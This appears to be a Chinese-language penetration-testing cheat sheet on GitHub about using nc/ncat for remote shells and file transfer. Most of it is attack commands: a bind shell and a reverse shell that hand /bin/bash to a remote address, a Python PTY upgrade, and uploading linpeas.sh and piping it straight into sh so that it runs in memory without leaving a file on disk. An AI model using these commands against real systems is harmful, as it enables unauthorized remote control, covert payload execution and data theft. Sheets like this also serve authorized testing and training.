Skip to content

Latest commit

 

History

History
111 lines (72 loc) · 2.75 KB

nc_usage.md

File metadata and controls

111 lines (72 loc) · 2.75 KB

渗透常用命令之nc

    远程SHELL可以使攻击者跨网络执行SHELL命令。以小巧实用而著名的网络工具nc可以快速的提供远程SHELL和文件传输功能。

此次演示使用的程序为ncat,不同的版本命令可能会有差别

一、远程SHELL

    因为防火墙或者NAT的存在,通常导致无法在外部主动连接目标主机。根据攻击者所在位置,选择使用正向SHELL还是反向SHELL

1. 正向shell(Bind shell)

靶机将SHELL绑定至本地端口,以供攻击机远程访问。靶机监听,攻击机主动连接靶机的称为正向SHELL

攻击机位于局域网,靶机位于公网

Bind.png

  • 靶机监听端口

    nc -lvp 8888 -e /bin/bash
  • 攻击机发出连接

    nc -v 106.000.000.100 8888
  • 攻击机生成PTY SHELL(可选)

    python3 -c 'import pty;pty.spawn("/bin/bash")'

2. 反向shell(Reverse shell)

攻击机将SHELL绑定至本地端口,以供靶机远程访问。攻击机监听,靶机主动连接攻击机的称为反向SHELL

攻击机位于公网,靶机位于局域网

Reverse.png

  • 攻击机监听端口

    nc -lvp 8888 
  • 靶机发出连接

    nc -v 106.000.000.100 8888 -e /bin/bash
  • 攻击机生成PTY SHELL(可选)

    python3 -c 'import pty;pty.spawn("/bin/bash")'

二、文件传输

文件传输演示的网络环境为:攻击机位于局域网,靶机位于公网。

1. 文件上传(File upload)

将脚本文件linpeas.sh从攻击机上传到靶机。

  • 靶机监听端口,并将输出重定向到文件linpeas.sh

    nc --recv-only -lvp 8888 > linpeas.sh
  • 攻击机连接靶机端口,将输入重定向到文件linpeas.sh

    nc -v --send-only 106.000.000.100 8888 < linpeas.sh

    靶机可以通过管道将脚本内容直接传入shell。在内存中运行脚本,不会在硬盘中留下任何文件。

    • 靶机

      nc --recv-only -lvp 8888 | sh
    • 攻击机

      nc -v --send-only 106.000.000.100 8888 < linpeas.sh

2. 文件下载(File download)

将脚本文件linpeas.sh从靶机下载到攻击机。

  • 靶机监听端口,并将输入重定向到文件linpeas.sh

    nc --send-only -lvp 8888 < linpeas.sh
  • 攻击机连接靶机端口,将输出重定向到文件linpeas_download.sh

    nc -v --recv-only 106.000.000.100 8888 > linpeas_download.sh